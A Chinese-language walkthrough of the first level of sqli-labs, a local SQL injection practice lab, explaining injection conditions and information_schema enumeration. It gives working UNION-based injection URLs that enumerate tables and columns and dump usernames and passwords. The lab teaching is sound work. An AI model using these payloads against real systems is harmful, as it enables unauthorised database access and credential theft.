sqli-labs (less-1)
SQL注入介绍
SQL注入就是指Web应用程序对用户输入数据的合法性判断,前端传入后端的参数是攻击者可控的,并且参数带入数据库查询,攻击者可以通过构造不同的SQL语句来实现对数据库的任意操作
sql注入漏洞的产生需要满足以下两个条件:
1.参数用户可控:前端传给后端的参数内容是用户可以控制的。
2.参数代入数据库查询:传入的参数拼接到SQL语句,且带入数据库查询。
Mysql5.0之后的版本,数据库里面会默认存放一个information_schema
的库,这个库可以说装着世界上所有的库,这就是为什么我们能利用SQL注入查看任何我们想知道的信息
所以这里我们需要记住四条非常重要的命令
查看所有库
select group_concat(schema_name) from information_schema.schemata
查看A库下面的所有表
select group_concat(table_name) from information_schema.tables where table_schema='A'
查看A库下面B表的所有字段
select group_concat(column_name) from information_schema.columns where table_name='B'
查看A库B表下C字段的值
select group_concat(C) from A.B
less-1
我们可以先打开第一关的配置文件,在SQL语句下面加入两行代码,可以在屏幕上回显我们输入的SQL语句
输入
http://127.0.0.1/sql1/Less-1/?id=1
http://127.0.0.1/sql1/Less-1/?id=1'
http://127.0.0.1/sql1/Less-1/?id=1--+
发现输入id=1’屏幕上显示我们的SQL语句有错误,在后面加上–+后又正常回显。
$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1"
打开源文件的sql语句位置,’$id’就是我们输入值的位置,当我们输入1’时相当于id=‘1’’,1’闭合了前面的’,后面多了一个’,所以我们使用–+将后面的’注释掉,常见的注释符还有#,特殊注释符;%00,后面的关卡都会用到,判断这里为字符型注入
判断有多少列字段
输入
http://127.0.0.1/sql1/Less-1/?id=1' order by 3--+ #回显正常
http://127.0.0.1/sql1/Less-1/?id=1' order by 4--+ #页面回显显示有错误
判断有三列数据
使用union函数,union函数使用的前提就是必须字段数要跟前面的字段数相同
确定回显位置
然后在2和3的位置输入我们想查询的数据就可以了
查看当前库和当前用户
http://127.0.0.1/sql1/Less-1/?id=-1' union select 1,database(),user()--+
查security库下的所有表
http://127.0.0.1/sql1/Less-1/?id=-1' union select 1,(select group_concat(table_name) from information_schema.tables where table_schema='security'),user()--+
查users表下的所有字段
http://127.0.0.1/sql1/Less-1/?id=-1' union select 1,(select group_concat(column_name) from information_schema.columns where table_name='users'),user()--+
查username和password的值
http://127.0.0.1/sql1/Less-1/?id=-1' union select 1,(select group_concat(username,password) from security.users),user()--+